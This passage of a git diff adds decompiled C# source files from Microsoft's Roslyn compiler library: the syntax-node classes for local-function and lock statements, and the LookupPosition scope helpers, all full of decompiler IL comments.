TypeParameterList || parameterList != ParameterList || constraintClauses != ConstraintClauses || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + LocalFunctionStatementSyntax localFunctionStatementSyntax = SyntaxFactory.LocalFunctionStatement(attributeLists, modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return localFunctionStatementSyntax; + } + return localFunctionStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new LocalFunctionStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithReturnType(TypeSyntax returnType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, returnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, Identifier, typeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, Identifier, TypeParameterList, parameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, Identifier, TypeParameterList, ParameterList, constraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithBody(BlockSyntax? body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, body, ExpressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, expressionBody, SemicolonToken); + } + + public LocalFunctionStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new LocalFunctionStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public LocalFunctionStatementSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public LocalFunctionStatementSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterListSyntax = TypeParameterList ?? SyntaxFactory.TypeParameterList(); + return WithTypeParameterList(typeParameterListSyntax.WithParameters(typeParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + public LocalFunctionStatementSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + public LocalFunctionStatementSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(ConstraintClauses.AddRange((IEnumerable)items)); + } + + public LocalFunctionStatementSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + public LocalFunctionStatementSyntax AddBodyStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LockStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LockStatementSyntax.cs new file mode 100644 index 0000000..32988b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LockStatementSyntax.cs @@ -0,0 +1,171 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LockStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? expression; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken LockKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LockStatementSyntax)(object)((SyntaxNode)this).Green).lockKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LockStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 3); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LockStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 5); + + public LockStatementSyntax Update(SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, lockKeyword, openParenToken, expression, closeParenToken, statement); + } + + internal LockStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref expression, 3), + 5 => ((SyntaxNode)this).GetRed(ref statement, 5), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => expression, + 5 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLockStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLockStatement(this); + } + + public LockStatementSyntax Update(SyntaxList attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || lockKeyword != LockKeyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + LockStatementSyntax lockStatementSyntax = SyntaxFactory.LockStatement(attributeLists, lockKeyword, openParenToken, expression, closeParenToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return lockStatementSyntax; + } + return lockStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new LockStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, LockKeyword, OpenParenToken, Expression, CloseParenToken, Statement); + } + + public LockStatementSyntax WithLockKeyword(SyntaxToken lockKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, lockKeyword, OpenParenToken, Expression, CloseParenToken, Statement); + } + + public LockStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, LockKeyword, openParenToken, Expression, CloseParenToken, Statement); + } + + public LockStatementSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, LockKeyword, OpenParenToken, expression, CloseParenToken, Statement); + } + + public LockStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, LockKeyword, OpenParenToken, Expression, closeParenToken, Statement); + } + + public LockStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, LockKeyword, OpenParenToken, Expression, CloseParenToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new LockStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LookupPosition.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LookupPosition.cs new file mode 100644 index 0000000..165fa34 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LookupPosition.cs @@ -0,0 +1,598 @@ +using System; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal static class LookupPosition +{ + internal static bool IsInBlock(int position, BlockSyntax? blockOpt) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (blockOpt != null) + { + return IsBeforeToken(position, blockOpt, blockOpt.CloseBraceToken); + } + return false; + } + + internal static bool IsInExpressionBody(int position, ArrowExpressionClauseSyntax? expressionBodyOpt, SyntaxToken semicolonToken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + if (expressionBodyOpt != null) + { + return IsBeforeToken(position, expressionBodyOpt, semicolonToken); + } + return false; + } + + private static bool IsInBody(int position, BlockSyntax? blockOpt, ArrowExpressionClauseSyntax? exprOpt, SyntaxToken semiOpt) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + if (!IsInExpressionBody(position, exprOpt, semiOpt)) + { + return IsInBlock(position, blockOpt); + } + return true; + } + + internal static bool IsInBody(int position, PropertyDeclarationSyntax property) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return IsInBody(position, null, property.GetExpressionBodySyntax(), property.SemicolonToken); + } + + internal static bool IsInBody(int position, IndexerDeclarationSyntax indexer) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return IsInBody(position, null, indexer.GetExpressionBodySyntax(), indexer.SemicolonToken); + } + + internal static bool IsInBody(int position, AccessorDeclarationSyntax method) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return IsInBody(position, method.Body, method.GetExpressionBodySyntax(), method.SemicolonToken); + } + + internal static bool IsInBody(int position, BaseMethodDeclarationSyntax method) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return IsInBody(position, method.Body, method.GetExpressionBodySyntax(), method.SemicolonToken); + } + + internal static bool IsBetweenTokens(int position, SyntaxToken firstIncluded, SyntaxToken firstExcluded) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (position >= ((SyntaxToken)(ref firstIncluded)).SpanStart) + { + return IsBeforeToken(position, firstExcluded); + } + return false; + } + + private static bool IsBeforeToken(int position, CSharpSyntaxNode node, SyntaxToken firstExcluded) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if (IsBeforeToken(position, firstExcluded)) + { + return position >= ((SyntaxNode)node).SpanStart; + } + return false; + } + + private static bool IsBeforeToken(int position, SyntaxToken firstExcluded) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (firstExcluded.Kind() != SyntaxKind.None) + { + return position < ((SyntaxToken)(ref firstExcluded)).SpanStart; + } + return true; + } + + internal static bool IsInAttributeSpecification(int position, SyntaxList attributesSyntaxList) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + int count = attributesSyntaxList.Count; + if (count == 0) + { + return false; + } + SyntaxToken openBracketToken = attributesSyntaxList[0].OpenBracketToken; + SyntaxToken closeBracketToken = attributesSyntaxList[count - 1].CloseBracketToken; + return IsBetweenTokens(position, openBracketToken, closeBracketToken); + } + + internal static bool IsInTypeParameterList(int position, TypeDeclarationSyntax typeDecl) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterList = typeDecl.TypeParameterList; + if (typeParameterList != null) + { + return IsBeforeToken(position, typeParameterList, typeParameterList.GreaterThanToken); + } + return false; + } + + internal static bool IsInParameterList(int position, BaseMethodDeclarationSyntax methodDecl) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + ParameterListSyntax parameterList = methodDecl.ParameterList; + return IsBeforeToken(position, parameterList, parameterList.CloseParenToken); + } + + internal static bool IsInParameterList(int position, ParameterListSyntax parameterList) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (parameterList != null) + { + return IsBeforeToken(position, parameterList, parameterList.CloseParenToken); + } + return false; + } + + internal static bool IsInMethodDeclaration(int position, BaseMethodDeclarationSyntax methodDecl) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax body = methodDecl.Body; + if (body == null) + { + return IsBeforeToken(position, methodDecl, methodDecl.SemicolonToken); + } + if (!IsBeforeToken(position, methodDecl, body.CloseBraceToken)) + { + return IsInExpressionBody(position, methodDecl.GetExpressionBodySyntax(), methodDecl.SemicolonToken); + } + return true; + } + + internal static bool IsInMethodDeclaration(int position, AccessorDeclarationSyntax accessorDecl) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken firstExcluded = accessorDecl.Body?.CloseBraceToken ?? accessorDecl.SemicolonToken; + return IsBeforeToken(position, accessorDecl, firstExcluded); + } + + internal static bool IsInDelegateDeclaration(int position, DelegateDeclarationSyntax delegateDecl) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return IsBeforeToken(position, delegateDecl, delegateDecl.SemicolonToken); + } + + internal static bool IsInTypeDeclaration(int position, BaseTypeDeclarationSyntax typeDecl) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return IsBeforeToken(position, typeDecl, typeDecl.CloseBraceToken); + } + + internal static bool IsInNamespaceDeclaration(int position, NamespaceDeclarationSyntax namespaceDecl) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return IsBetweenTokens(position, namespaceDecl.NamespaceKeyword, namespaceDecl.CloseBraceToken); + } + + internal static bool IsInNamespaceDeclaration(int position, FileScopedNamespaceDeclarationSyntax namespaceDecl) + { + return position >= ((SyntaxNode)namespaceDecl).SpanStart; + } + + internal static bool IsInConstructorParameterScope(int position, ConstructorDeclarationSyntax constructorDecl) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + ConstructorInitializerSyntax initializer = constructorDecl.Initializer; + if (constructorDecl.Body == null && constructorDecl.ExpressionBody == null) + { + SyntaxToken nextToken = SyntaxNavigator.Instance.GetNextToken((SyntaxNode)(object)constructorDecl, (Func)null, (Func)null); + if (initializer != null) + { + return IsBetweenTokens(position, initializer.ColonToken, nextToken); + } + SyntaxToken closeParenToken = constructorDecl.ParameterList.CloseParenToken; + TextSpan span = ((SyntaxToken)(ref closeParenToken)).Span; + if (position >= ((TextSpan)(ref span)).End) + { + return IsBeforeToken(position, nextToken); + } + return false; + } + if (initializer != null) + { + return IsBetweenTokens(position, initializer.ColonToken, (constructorDecl.SemicolonToken.Kind() == SyntaxKind.None) ? constructorDecl.Body.CloseBraceToken : constructorDecl.SemicolonToken); + } + return IsInBody(position, constructorDecl); + } + + internal static bool IsInMethodTypeParameterScope(int position, MethodDeclarationSyntax methodDecl) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + if (methodDecl.TypeParameterList == null) + { + return false; + } + TextSpan fullSpan = ((SyntaxNode)methodDecl.ReturnType).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(position)) + { + return true; + } + if (IsInAttributeSpecification(position, methodDecl.AttributeLists)) + { + return false; + } + SyntaxToken firstIncluded = methodDecl.ExplicitInterfaceSpecifier?.GetFirstToken() ?? methodDecl.Identifier; + SyntaxToken lessThanToken = methodDecl.TypeParameterList.LessThanToken; + return !IsBetweenTokens(position, firstIncluded, lessThanToken); + } + + internal static bool IsInLocalFunctionTypeParameterScope(int position, LocalFunctionStatementSyntax localFunction) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + if (localFunction.TypeParameterList == null) + { + return false; + } + TextSpan fullSpan = ((SyntaxNode)localFunction.ReturnType).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(position)) + { + return true; + } + if (IsInAttributeSpecification(position, localFunction.AttributeLists)) + { + return false; + } + SyntaxToken identifier = localFunction.Identifier; + SyntaxToken lessThanToken = localFunction.TypeParameterList.LessThanToken; + return !IsBetweenTokens(position, identifier, lessThanToken); + } + + internal static bool IsInStatementScope(int position, StatementSyntax statement) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (statement.Kind() == SyntaxKind.EmptyStatement) + { + return false; + } + SyntaxToken firstIncludedToken = GetFirstIncludedToken(statement); + if (firstIncludedToken != default(SyntaxToken)) + { + return IsBetweenTokens(position, firstIncludedToken, GetFirstExcludedToken(statement)); + } + return false; + } + + internal static bool IsInSwitchSectionScope(int position, SwitchSectionSyntax section) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + TextSpan span = ((SyntaxNode)section).Span; + return ((TextSpan)(ref span)).Contains(position); + } + + internal static bool IsInCatchBlockScope(int position, CatchClauseSyntax catchClause) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return IsBetweenTokens(position, catchClause.Block.OpenBraceToken, catchClause.Block.CloseBraceToken); + } + + internal static bool IsInCatchFilterScope(int position, CatchFilterClauseSyntax filterClause) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return IsBetweenTokens(position, filterClause.OpenParenToken, filterClause.CloseParenToken); + } + + private static SyntaxToken GetFirstIncludedToken(StatementSyntax statement) + { + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_017f: Unknown result type (might be due to invalid IL or missing references) + //IL_01dc: Unknown result type (might be due to invalid IL or missing references) + //IL_01a0: Unknown result type (might be due to invalid IL or missing references) + //IL_01d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_013c: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or 